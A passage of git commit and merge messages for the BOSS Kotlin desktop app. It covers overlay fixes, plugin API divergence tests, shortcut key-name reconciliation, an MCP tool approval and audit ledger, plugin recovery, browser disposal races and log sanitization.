same, it just stops being capped below the parent. Covered by HeavyweightCornerTest; HeavyweightCornerSizingTest's ratchet guarantees are unchanged. * test(overlays): measure content beyond the initial toast window height * docs(overlays): update all first-frame sizing contracts --------- Co-authored-by: Shivang * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) (#367) * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) Equality guards on BossPopup's measuredWidthPx/anchorPositionPx make onGloballyPositioned/layout writes no-ops in the steady state instead of a redundant compose-measure-layout pass per frame during a window drag. AnchorBounds popups that never measure report once via BossOverlayHost.reportUnmeasuredAnchor() after a grace period. The modal card declares semantics { dialog() } and swallows clicks with detectTapGestures instead of clickable, so a screen reader announces a dialog rather than a button; the scrim dismiss also moves to detectTapGestures so IsDialog is not merged under a clickable ancestor (which crashed the modal). BossAlertCard drops the header spacer for a buttons-only card (alertHeaderSpacerVisible); AlertWidth renamed ALERT_WIDTH. Covered by BossAlertCardSpacerTest, ScrimmedModalSemanticsTest, and the existing ModalInputArmingTest/BossAlertCardLayoutTest. * fix(overlays): refresh scrim dismissal callback after recomposition * fix(overlays): remove redundant measurement reads and cover card taps --------- Co-authored-by: Shivang * fix(plugin-ui-core): guard write-once overlay registry fields (#369) * fix(plugin-ui-core): stop redundant popup recomposition and guard write-once overlay registry fields Two non-blocking follow-ups from the HARDWARE dialog sweep (#143). BossDialog wrote measuredWidthPx and anchorPositionPx unconditionally from layout {} / onGloballyPositioned, and both are read during composition - so an unchanged value still invalidated composition from inside layout on every pass, costing a redundant composition-measure- layout cycle per frame for every open BossPopup during e.g. a window- resize drag. Both writes are now equality-guarded, a no-op once the value stops moving. BossOverlayHost.{useHeavyweightOverlays,modalRenderer,popupRenderer, diagnostics} are public mutable statics the KDoc calls host-owned and write-once, on a singleton shared across the host and every in-process plugin - but nothing enforced it, so one plugin line could reinstate the occluded-dialog bug this file exists to fix. Each now locks to its first write (via a custom setter, so the JVM descriptor - and so binary compatibility with the boss-plugin-api mirror - is unchanged) and reports a duplicate write through diagnostics instead of silently accepting it. openHeavyweightPopups is deliberately left alone: its own KDoc documents it as a running counter across a popup's lifetime, not a one-time registration, and a write-once guard would freeze it at whatever the first popup left it. Co-Authored-By: Claude Sonnet 5 * test(overlays): isolate write-once registry fixtures and remove duplicate popup edits * fix(overlays): register diagnostics first and verify both startup modes --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(plugin-api-core): guard against host/api divergence in duplicated packages (#368) * fix(plugin-api-core): guard against host/api divergence in duplicated packages ai.rever.boss.plugin.{logging,bookmark,workspace,browser,scrollbar,ui, tab.terminal} each exist twice: once in the host modules, once inside boss-plugin-api, what plugins actually compile against. The host's copy shadows the api's parent-first inside plugin classloaders, so a plugin whose bytecode references a member the api has and the host lacks fails to link at runtime rather than at compile time - already the cause of two incidents (secret-manager 1.2.6/1.2.7, unloadable on every host with only "ComponentLogger.$stable: field not found" as a clue). LoggingStableFieldTest, BookmarkStableFieldTest and WorkspaceStableFieldTest each pin the one field that has actually bitten us. Nothing pinned the general case: an added method or a changed signature in either copy breaks a plugin the same way and would be diagnosed from scratch. ApiPackageDivergenceTest diffs the host's copies against the pinned release jar plugin-api-core's own build already downloads (fetchApiPluginJar), for every public, non-synthetic member of the seven packages actually duplicated (verified against the real jar's contents, not guessed from the issue's approximate count) - not ai.rever.boss.plugin.api itself, which is filtered from that same jar so it cannot diverge from itself, and not ai.rever.boss.plugin.bundled, which is api-only. Co-Authored-By: Claude Sonnet 5 * fix(plugin-api): cover callable ABI and preserve PanelConfig linkage * fix(tests): compile legacy serialization bridge and satisfy lint * test(plugin-api): address review and verify loader isolation --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(gate): surface remedy success and handle in-flight update states (#378) * fix(gate): handle updateHost success and in-flight download states * style(gate): resolve detekt LongMethod and ReturnCount violations - Extracted PluginLoadGateHeader to reduce PluginLoadGateBody length under 60 lines. - Refactored updateHost to use a single return expression, eliminating multiple exit points and fixing line length limits. * fix(gate): complete header extraction and validate update remedy state * fix(gate): retain rollback and report installation progress accurately * fix(gate): explain the install step after downloading BOSS * style(gate): apply ktlint and wrap detekt overlong lines --------- Co-authored-by: Shivang * Make MCP search rows open Toolbox for kill-switches (#380) (#382) * Make MCP search rows open Toolbox for kill-switches (#380) Agent-less operators could find mcp__boss__* tools in double-shift search but selecting a row did nothing. Wire selection to reveal Toolbox (plugin-manager) and document the minimum attach / kill-switch path. * fix(search): validate MCP navigation and clarify Toolbox hint * fix(search): report unavailable Toolbox for MCP selections --------- Co-authored-by: Shivang * # Governed Autonomy for MCP tools: approval gate and audit ledger (#371) * feat(mcp): implement Governed Autonomy with Operation Ledger and ASK mode approval gate - Add McpPolicy and McpPolicyEngine with fail-closed configuration and session trust - Add McpApprovalBus and McpApprovalDialog for non-blocking interactive tool approval - Add McpOperationLedger with size-based file rotation (10 MB x 5) and sensitive argument masking via LogSanitizer - Integrate policy checks, coroutine approval gate, and ledger journaling into McpToolRegistryCore.invoke - Add UI wiring in BossAppState, BossAppEventBusEffects, BossAppDialogs, and BossBottomBar - Add comprehensive unit tests covering policy, approval, ledger rotation, and registry invoke integration * fix(mcp): address review findings across approval gate, policy engine, and ledger * fix(mcp): avoid length-based over-redaction of tool arguments McpOperationLedger and McpApprovalDialog sanitized arguments through LogSanitizer.sanitizeMap, which masks any string value 20+ characters long regardless of content. That defeated the stated goal of keeping long file paths, URLs, and shell commands readable in the audit log and, worse, in the approval dialog an operator relies on to decide whether to approve a mutating call. McpArgumentSanitizer replaces that path for both call sites: a value is now only masked when its key names it as sensitive, or its shape is unambiguously a credential (JWT, GitHub token, sk_/pk_ vendor key). Adds a test proving shape-based masking still catches a credential under a non-sensitive key name, and renames the existing redaction test to match. Also reorders two imports in BossAppDialogs.kt that were out of alphabetical order and would fail ktlintCheck. Co-Authored-By: Claude Sonnet 5 * fix(mcp): repair governed dispatch and cancellation audit guarantees * fix(mcp): address governed autonomy review defects --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * Stop the Shortcuts tester reporting working shortcuts as broken (#375) (#376) * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Stop the Shortcuts tester reporting working shortcuts as broken `ShortcutTestRunner.validateKeyName` kept its own hand-written set of valid key names - the fourth copy of the key vocabulary in the codebase, and the only one nothing tested. It had drifted, and step 4 of the tester turned that drift into a hard FAILED. Fifteen keys the interceptor dispatches were reported as "Unknown key name 'X' - won't match user input" on a shortcut that fires: - every function key, F1 through F12 - Home, End, PageUp, PageDown - the character spellings the fold has always accepted ("-", "=", "/" and the rest), which were reported with the confident and wrong advice "Key name should be 'Minus' not '-'" - the spellings Compose renders, both cold ("Back Slash", "Quote", "Page Up") and the macOS glyphs a running app produces The list is replaced by `isKnownKeyName`, which folds through `canonicalKeyName` against `KNOWN_KEY_NAMES` in the model - one vocabulary, beside the fold that already reconciles the other three. The verdict also softens to a note. "Will this key match" is not knowable from the name alone: `canonicalKeyName` folds an unknown name onto itself, and the keyboard has keys outside the interceptor's table (F13 and up, the keypad) that AWT still names. So an unrecognised name now says it is unrecognised alongside the result, and the test does not fail on it. Reporting a working shortcut as broken is worse than saying nothing, and that is the failure this PR is about. `ShortcutTesterKeyNamesTest` pins the vocabulary in both directions: every key the interceptor names is recognised, and nothing is claimed as known that no key produces. The second half is what stops the set being padded into passing the first. Every shipped preset binding is covered, and a name nothing can produce is still called out, so removing the false failures did not remove the check. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - restoring the two omissions the old list had (the function keys, and Home/End/PageUp/PageDown) fails the test and names all sixteen. Co-Authored-By: Claude Opus 5 * review: keep a real verdict for a key stored as a raw key code Self-review of the change above found that softening step 4 to a note went one case too far. A key stored as a packed `Key.keyCode` is the one thing that IS decidable from the name alone, and it is decidably broken: no matcher compares against a number, so the binding fires on neither path. That is what every rebind made in the Shortcuts screen wrote before #329, which makes it the population most likely to be on this screen in the first place - and they would have been shown a green row with a parenthetical note. It keeps FAILED, with advice that holds either way: a keymap carrying a raw key code is worth re-recording whether or not the fold currently resolves it. Also drops a guarantee two comments claimed and the tests do not give. The test drives the interceptor's table through a hand-written list of key codes, so a key added to that table alone is checked by nothing. Reading the `when` itself would need reflection over a private table; saying so is better than asserting an invariant that is not enforced. Co-Authored-By: Claude Opus 5 * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and nam… * feat(mcp): let an operator persist an Allow/Deny tool policy from the approval dialog (#469) * feat(mcp): let an operator persist an Allow/Deny tool policy from the approval dialog McpPolicyEngine.setToolPolicy already writes a durable ALLOW/ASK/DENY rule to ~/.boss/mcp-tool-policy.json and takes effect immediately - it was fully built and tested, but the only caller was this repo's own test suite. AGENTS.md's own governance section names the gap plainly: "Persistent rules currently require editing ~/.boss/mcp-tool-policy.json and restarting." The interactive approval dialog for ASK-governed tools offered only "Approve Once" and "Always this Session" (in-memory, cleared on restart) - there was no way to tell BOSS "never ask about this tool again" without hand-editing JSON. - McpApprovalDecision.Approved/Denied gain a persistPolicy flag, threaded through McpApprovalBus.approve/deny (both additive, defaulting to false - every existing call site is unaffected). - McpToolRegistryCore.authorizeInvocation calls policyEngine.setToolPolicy(toolName, ALLOW/DENY) when persistPolicy is set, recording two new McpApprovalDisposition values (PERSISTENTLY_ALLOWED / PERSISTENTLY_DENIED) in the audit ledger so it's visible which of the three scopes - once, session, persistent - an operator actually chose. A persisted ALLOW makes the existing session-trust call redundant (policyFor checks the configured rule first), so the registry does not also call trustForSession when this is set - one less write, same result. - McpApprovalDialog gains "Always Allow" / "Always Deny" actions, visually secondary to the three existing per-call actions since they are the more consequential, less common choice. Scope: this is the interactive path only. The policy file itself, its fail-closed-on-unreadable behavior, and the kill-switch/RBAC layers upstream of policy resolution are untouched. 8 tests in McpGovernedInvocationTest (2 new) cover persisted ALLOW and DENY end to end: the approval/denial itself, the ledger disposition, and that a second call to the same tool no longer suspends for approval - confirming the rule actually took effect, not just that it was written. ktlintCheck, detekt and the full mcp/app/dialogs test packages all green. * fix(mcp): verify durable approval writes and preserve revocations * feat(mcp): let an operator inspect and revoke a persisted tool policy The review's remaining finding: after "Always Allow" persists a rule, there was no way back except hand-editing ~/.boss/mcp-tool-policy.json and restarting - the new caption and AGENTS.md text explained that, but disclosure is not a reversal control, and "Revoke MCP session trust" only ever cleared in-memory grants, never a persisted rule. McpPolicyEngine.revokePersistedPolicy(toolName) is the operator-facing undo for setToolPolicy's persistent scope: resets the tool to ASK and clears session trust for it in the same call, since policyFor checks session trust before a non-DENY configured rule - revoking only the persisted half would leave a tool that happened to hold both still silently auto-allowed. Returns whether the write actually succeeded, so a failed revoke is reported rather than the UI showing a change that never reached disk. McpPolicyManagerDialog lists every persisted rule (tool name, ALLOW/ DENY, a per-row "Reset to Ask") and shows an inline error for a row whose reset failed to save. Wired into the bottom bar next to the existing session-trust revoke, behind a button that only appears once a rule exists - nothing new to look at when there is nothing to revoke. Not exposed as an MCP tool: this is a human-only control reachable by clicking, never callable by an agent on its own behalf. New tests cover the exact validation the review asked for: a persisted ALLOW revoked from the API resets to ASK and survives a reload from disk; revoking also clears session trust so the next call asks again even when both grants were held; an unrelated tool's DENY rule is untouched; and a failed write is reported through the same fault channel setToolPolicy already uses, not silently swallowed. * fix(mcp): make policy revocation actually remove the rule, off the UI thread revokePersistedPolicy previously rewrote a revoked rule to ASK instead of removing it, so the bottom-bar count never dropped and the policy manager dialog kept listing "revoked" tools with a no-op Reset button; under a hardened defaultMutatingAction=DENY config the leftover ASK was also weaker than the operator's own default. Removing the key instead fixes all three. The revoke write also ran synchronously on the Compose UI thread; onRevoke is now a suspend callback launched from the dialog's own coroutine scope, with the actual engine call wrapped in withContext(Dispatchers.IO) at the call site. A DENY row's reset now needs a second tap to confirm, since it is the one control in this dialog that raises standing privilege rather than lowering it. Stale operator-facing copy pointing at hand-editing the policy file was updated to point at the in-app dialog instead, in both the approval dialog and AGENTS.md's governance section. Left as a documented limitation rather than fixed: a queued approval answered "Always Allow" after the same tool's rule was freshly revoked can still re-persist it, since the existing preserveDeny guard only protects against a newer DENY, not a newer revocation. Closing that needs a revocation generation/timestamp compared inside the policy engine's lock. * fix(mcp): invalidate queued approvals when a saved policy is reset --------- Co-authored-by: Shivang * feat(plugins): add health and recovery center (#454) * feat(plugins): add health and recovery center * fix(plugins): retain recovery feedback and use lifecycle delegate * style(plugins): satisfy health recovery quality limits * fix(plugins): report unavailable recovery and observe sandbox disables * style(plugins): keep health dialog within function limit * style(plugins): remove unused sandbox state helper * style(plugins): format sandbox state lookup chain * fix(plugins): route watchdog recovery through safe reload * fix(plugins): finish sandbox teardown before recovery reload * fix(plugins): complete recovery teardown after caller cancellation * fix(plugins): restore panels when pre-lock uninstall is cancelled * fix(plugins): propagate cancellation before destructive uninstall * fix: prevent disabled plugin sandbox restart * fix: satisfy sandbox recovery static checks * style: format sandbox restart recovery * fix: close sandbox restart admission races * test(plugins): pin disable races and clarify cancelled uninstall outcome * test(plugins): configure budget race fixture explicitly * style(plugins): format sandbox race regression fixture --------- Co-authored-by: ayush Co-authored-by: Shivang * fix(plugins): #429 follow-ups: one offer filter, root-named failures, matching cancellation contracts (#483) * Batch validation: promote latest reviewed dev changes to main (#463) * Fix #30: Resolve duplicate context menu label collisions * Cleanup: Remove dead code for #91 and #93 * chore: Sanitize SubmitResult.Error at construction rather than at one render site * Fix panel component lifecycle disposal * fixes * Guard panel lifecycle destruction failures * fix(logging): sanitize secret RPC failures and crash-report errors Three related gaps in what gets logged and shown when something fails: - SecretService.kt had no BossLogger in any of its ten catch blocks (#145). When the organisation migration broke all four secret RPCs (#144), the only WARN in the log came from the calling plugin - the code that actually failed said nothing. Every catch now logs via logger.warn(LogCategory.NETWORK, ...), reusing the already-sanitized failure for both the log and the returned Result rather than sanitizing twice. RoleService and RoleCreationService were checked and already log correctly - SecretService was the only silent one. - LogSanitizer.sanitizeExceptionMessage redacted a hostname only when it appeared inside a URL - a bare hostname (exactly what UnknownHostException.getMessage() produces, i.e. every DNS failure, and what a proxy-connect failure looks like) passed through untouched (#109). Added a narrow hostname pattern: lowercase-only labels ending in a short explicit TLD/`.internal`/`.local` list, with a negative lookahead so a package path that happens to end in a real TLD word mid-FQN (kotlinx.coroutines.internal.ScopeCoroutine, kotlinx.io.EOFException) is not mistaken for one - caught by the existing realistic-stack-trace test after the first version of the pattern redacted a live Kotlin package name out of it. - CrashReportService.SubmitResult.Error held a raw exception string, sanitized at exactly one render call site in CrashReportDialog (#110). The constructor is now private; SubmitResult.Error.of(...) is the only way to build one, and it sanitizes before the raw string can reach .message - a property of the type now, not something every future consumer (a copy button, a toast, a log line) has to remember on its own. Both construction sites (the service's two catch blocks, and the one in CrashReportDialog the issue names directly) now route through it. Tests: new coverage for the ten now-logging SecretService paths (via SupabaseWiringTest's existing sanitization-wiring guard, updated to recognize the "sanitize once into a local, reuse for log and return" shape SupabaseDataProviderImpl already used), six new LogSanitizerTest cases for the hostname fix (including the FQN/version-number false-positive guards), and a new CrashReportServiceTest for the sanitize-at-construction guarantee. * test(crash): extract construction tests from #404 Selected unchanged test file from Antriksh1984 original commit 99d2a5228023c541e825fe2714619c8228140369 (PR #404). Maintainer extraction only; subsequent API/scope adaptations are recorded separately. * chore(ipc): clarify advisory menu ID scope and fix formatting * chore(ui): finish obsolete toolbar comment cleanup * test(crash): adapt consolidated coverage and guard factory visibility Maintainer consolidation: use #311 companion invoke and a URL fixture instead of depending on #404 hostname redaction. Add private constructor/copy bytecode assertions. Preserve original contributor tests and implementation credit separately. * refactor(crash): consolidate construction sanitization in #311 Maintainer scope change: remove only the duplicate #110 implementation, retaining Antriksh1984 original #109/#145 work and commit history. Standalone construction tests are retained with attribution in #311; its Aditya8369 implementation supersedes Error.of. Keep render-time sanitization here until #311 merges and describe the remaining hostname coverage conservatively. * test(panels): retain sibling lifecycle isolation coverage from #313 Adapt the original #313 test to the #317 constructor and supply the missing panelInfo overrides. Original test scenario and assertions are by @rehannayeem0786; these compile adaptations are maintainer integration work. * fix(panels): complete lifecycle cleanup across failure and window teardown Destroy partially constructed panels and replacements that fail to resume. Continue downward lifecycle transitions after a failing pause or stop callback. Dispose panels before plugin teardown in the same callback rather than relying on sibling Compose effect order. Add regression coverage and adapt the retained #313 test bodies for detekt. These changes are maintainer follow-up to the original #313/#317 contributions. * docs(ui): remove stale disabled top-bar feature list * test(ipc): protect advisory menu item ID uniqueness * fix(panels): keep store registration scoped to its window effect Remove the redundant unregister from plugin teardown. Document independent context services and synchronous Essenty onCreate replay, with tests for registration ownership and exactly-once create callbacks. Keep tab teardown hardening separate. Maintainer follow-up to the review of #317; original #313/#317 contributor credit is unchanged. * fix(crash): address consolidated sanitization review notes Maintainer follow-up to Claude N1-N4: document factory/copy invariant, correct stale comments, move Aditya original construction assertions into the service suite while retaining Antriksh blank/diagnostic cases, and log unexpected dialog submission failures. Original contribution credit remains separate. * fix(logging): keep server failure payloads out of secret RPC logs Maintainer follow-up to Claude review: log operation and exception type only, preserve sanitized return semantics, and check each catch for safe return/log wiring. Document measured hostname limits without broadening the matcher; add module-local redaction and diagnostic-preservation coverage. Antriksh original implementation remains credited separately. * ci: build PR batches on dev * Allow Claude diff reviews after approved fork builds (#413) * fix(browser): preserve newer clipboard copies during plain-text paste (#316) * fix(browser): paste-without-formatting no longer clobbers a copy made in its restore window (#205) * fix(browser): make paste-without-formatting's restore identity-based, not text-based Review of this PR caught that the text-equality guard cannot distinguish 'our write is still current' from 'a previous press already restored the rich original' - whose string projection is by construction the same text - so two presses inside the 200ms window permanently downgraded a rich clipboard to plain text. A PasteWithoutFormattingSession now tracks the exact Transferable each press installed and restores the pre-window original once, while a user copy in the window still wins. Adds five tests to BrowserClipboardCommandsTest, including the double-press regression; wraps the two over-limit lines; e.message -> e::class.simpleName in the touched handlers. * fix(browser): fold tryRestore's early exits so it stays within detekt's ReturnCount * fix(browser): blank lines between FakeTransferable overrides per ktlint * test(browser): retain clipboard restore scenarios from #408 * fix(browser): track clipboard ownership through AWT wrappers --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang Co-authored-by: Antriksh1984 * fix(plugins): serialize concurrent first loads per class name (#324) * fix(plugins): prevent duplicate class definitions during concurrent loads * fix(plugins): make class loading parallel-safe * test(plugins): pin concurrent loading lifecycle boundaries Maintainer consolidation follow-up: retain #324 synchronization and its tests; add concurrent shared-name, superclass, and unload-marker coverage. Document caller-sensitive registration based on arjun28115 review feedback and clarify that marking unload does not drain an already admitted parent lookup. No global lifecycle lock or resource-policy changes. --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Procs <168113425+ProportanilityConstant@users.noreply.github.com> Co-authored-by: Shivang * fix(browser): defer native disposal until admitted calls drain (#312 + #409) (#412) * fix: make BrowserHandle JavaScript execution cancellable the previous synchronous JxBrowser call blocked the Main/EDT thread; coroutine cancellation could not take effect while that call was blocking; the implementation now uses JxBrowser’s asynchronous JavaScript callback API; suspendCancellableCoroutine makes the Kotlin waiting side cancellable; late callbacks after cancellation are safely ignored; this does NOT terminate JavaScript already executing inside Chromium. * fix: add robust native call lifecycle tracking for disposal * test: verify native operation cleanup on synchronous failure * fix: linearize browser disposal and pending operation tracking * fix: resolve detekt violations in browser native tracking * test: satisfy detekt failure simulation rule * fix: close native operation disposal race * fix(browser): drain an in-flight call before closing the browser Issue #300 reports that executeJavaScript is a synchronous, non- cancellation-aware native call, and a plugin's own withTimeoutOrNull around it can only abandon the caller's wait - not the call itself - which stays running on Main indefinitely and can race a concurrent handle.dispose(), touching the same native object from two threads at once. The severe half of this was already fixed by BoundedBrowserCall: this class confines every blocking round trip to one dedicated daemon thread instead of Dispatchers.Main, so a wedged renderer no longer freezes the app. What was not yet closed is the residual window this issue's core report is actually about: shutdown() stopped new work but did not wait for whatever was already running, so a caller could proceed straight to browser.close() while a call from just before shutdown was still finishing on the dedicated thread. shutdown() now waits, bounded, for that in-flight call to drain before returning. Costs nothing in the common case - awaitTermination returns immediately once the one worker thread and its queue are both idle, which is where an instance sits between calls - and only the bound in the rare case something was genuinely still running. Known, and disclosed in the KDoc rather than claimed away: this narrows the race for the common case (a call that was always going to finish quickly) rather than closing it. It cannot help when the in-flight call is itself the wedge this class's own deadline exists for - waiting unboundedly for a genuinely stuck call would reintroduce the exact freeze BoundedBrowserCall exists to prevent, just moved from a plugin's await into every caller's teardown path. There is no JxBrowser API on this version able to interrupt a blocking round trip already inside the native call, which is the whole reason the call is confined to its own thread instead of cancelled - closing that window completely needs JxBrowser's own cooperation, which the issue's own analysis already concluded is unavailable. Tests: shutdown waits for a fast in-flight call to finish before returning, and does not wait past its own drain timeout for a wedged one - the same before/after pair the rest of this test file already uses for BoundedBrowserCall's deadline. * fix(browser): defer native close until admitted calls drain Consolidates the lifecycle work from #312 (johncybersage) and #409 (Antriksh1984), retaining both original histories. Replaces success-only callback accounting and timeout-then-close with executor termination signals and host-owned native/profile cleanup. These corrections and replacement tests are maintainer/agent work, separate from contributor scoring. * fix(browser): bound profile waits and clarify deferred cleanup ownership Address consolidation review: schedule both service disposal paths without awaiting native close, diagnose pending drains, centralize executor ownership, and bound profile lease acquisition without permitting unsafe reuse or eviction. Document process-exit abandonment and verify wiring and cleanup ordering. Maintainer/agent follow-up, separate from original #312 and #409 contributor credit. * fix(browser): schedule disposal after early UI teardown failure * ci: create launcher directory before Claude native installation * Revert "ci: create launcher directory before Claude native installation" This reverts commit 5184908e6c3f133502508513b4c5e17651b13bc0. * test: keep warmup registry ordering check on one event loop * test(browser): normalize CRLF in disposal source wiring guards --------- Co-authored-by: john k Co-authored-by: john k Co-authored-by: Antriksh1984 * feat(tabs): show a speaker glyph on tabs that are playing audio (#314) * feat(tabs): show a speaker glyph on tabs that are playing audio (#308) * fix(tabs): review round - compile, registry lifetime, UI-thread marshalling, owner flush 1. graphicsLayer import dropped (does not exist at that package); the fade now uses .alpha(audioAlpha), already imported. 2. TabAudioRegistry no longer outlives its owner: disposeAllTabsBlocking unregisters everything this component registered, and DetachedTab.destroy drops the entry for a tab destroyed without adoption - the handler captures the BossTabsComponent, so stale entries retained it. 3. The registry update is marshalled to the EDT via SwingUtilities.invokeLater, so the tab-model mutation happens on the UI thread as the KDoc claims. 4. setFullscreenHandler flushes the current playback state once ownerTabId becomes known, closing the starts-before-registration race the review could not verify. 5. TabAudioRegistryTest added: delivery, last-writer-wins, ownership-checked unregister. * fix(tabs): CI round 2 - DetachedTab receiver error, long line, and baseline-preserving signatures - BossMainWindowPanel.kt:2098: DetachedTab is a non-inner nested class and cannot use the outer component as receiver; the audio-handler drop moves to detachTab instead, which is where adoption-vs-destroy actually diverges. - TabAudioRegistry.kt:9 wrapped under detekt's 120-char limit. - FluckTabInfo.isPlayingAudio and BossTabButton's glyph read no longer change any signature: the flag is a mutable property (copied in copy()'s body) and the button reads it off tabInfo, so the constructor, copy() and BossTabButton keep their exact baseline-frozen detekt IDs and the resurfaced LongMethod/LongParameterList/CyclomaticComplexMethod findings retire. * fix(tabs): fold handleAudioUpdate within ReturnCount; add missing final newline in the test file * fix(tabs): publish audio state by browser ownership and keep icon layout stable --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang * feat: connect chrome density settings and keyboard controls (#305) * feat: wire the chrome density scale into settings and small-screen defaults ChromeDensity / ChromeDimens.of() / LocalChromeDimens already existed on main and every bar (BossTitleBar, BossTopBar, the main tab bar, BossBottomBar) already read its height from BossChrome.dimens - but LocalChromeDimens was never provided anywhere, so it silently resolved to its staticCompositionLocalOf default (Comfortable) always. The scale was built and unreachable. This closes that gap: - WindowAppearanceSettings gets a `density` field (default COMFORTABLE, so an existing install's settings file - which has never heard of this key - decodes to exactly the chrome it already had; no settings-version bump needed). - BossApp.kt now provides LocalChromeDimens from that field, host-only and outside BossAppCompositionLocals (plugins never draw host chrome). - A "Density" dropdown in Settings > Bars (Compact/Comfortable/Spacious), indexed in Settings search. - A fresh install on a small screen (< 1000dp logical height, clearing the 13" MacBook Air's ~931-956pt from #239's own measurements) now defaults to Compact and starts with the bottom bar off - the one bar this manager can still reclaim itself, since the side strips are already off by class default. Toolkit.getScreenSize() is read once, wrapped in runCatching (HeadlessException off a display must not break a fresh install), with a pure defaultDensityFor(screenHeightDp) so the decision is unit-testable without a display. Addresses #239, scoped down from the full issue. Out of scope in this pass, deliberately: - The app does not yet report its own chrome budget as a measured percentage - the issue's own "state it, don't argue it" ask. Reachable later from the same ChromeDimens source, but needs a spot to render it. - The title bar's 27dp "Boss Console" label row is untouched - collapsing or merging it with the tab bar is a separate, riskier layout change than a density scale. - No regression intended to the existing per-bar show/hide switches or focus-mode edges: density only changes how much room a bar that is already on screen takes, never whether it is shown. * fix: drop the Compact-density bottom-bar auto-off, wrap an overlong line Address review feedback on #305: - Removed showBottomBar = density != ChromeDensity.COMPACT from getDefaultSettings(). ChromeMetricsTest already shows the shipped macOS defaults reach 93.3% of a 931dp window at Comfortable, so #239's >=90% bar is met without touching the status bar - and that bar's own KDoc argues it must stay on ("the only always-on readout"). It was also reachable from the settings-load catch fallback, so a transient read error could silently drop the bar and have the next save persist the loss. Compact now only changes density, nothing else. - Wrapped primaryScreenHeightDp() - was 121 chars, one over detekt's default MaxLineLength (120), which applies here since .editorconfig's 140 is a ktlint-only setting and this line wasn't in the baseline. * feat: add chrome density setting * feat: add small-screen chrome defaults * feat: add chrome density controls and small-screen defaults * fix(ui): preserve lean density defaults and test density controls * style: format multiline screen-height lookup * fix(ui): separate density recovery and make editor chords opt-in * style: wrap density default documentation --------- Co-authored-by: AdityaK-iiita Co-authored-by: Shivang * fix(plugins): stop host resource fallback after unload (#325) * fix(plugins): stop host resource fallback after unload * fix(plugins): preserve resource warning for a missing result --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Shivang * Handle closed browser frames during navigation callbacks (#400) * Handle closed browser frames during navigation callbacks * test(browser): retain closed-event guard after navigation 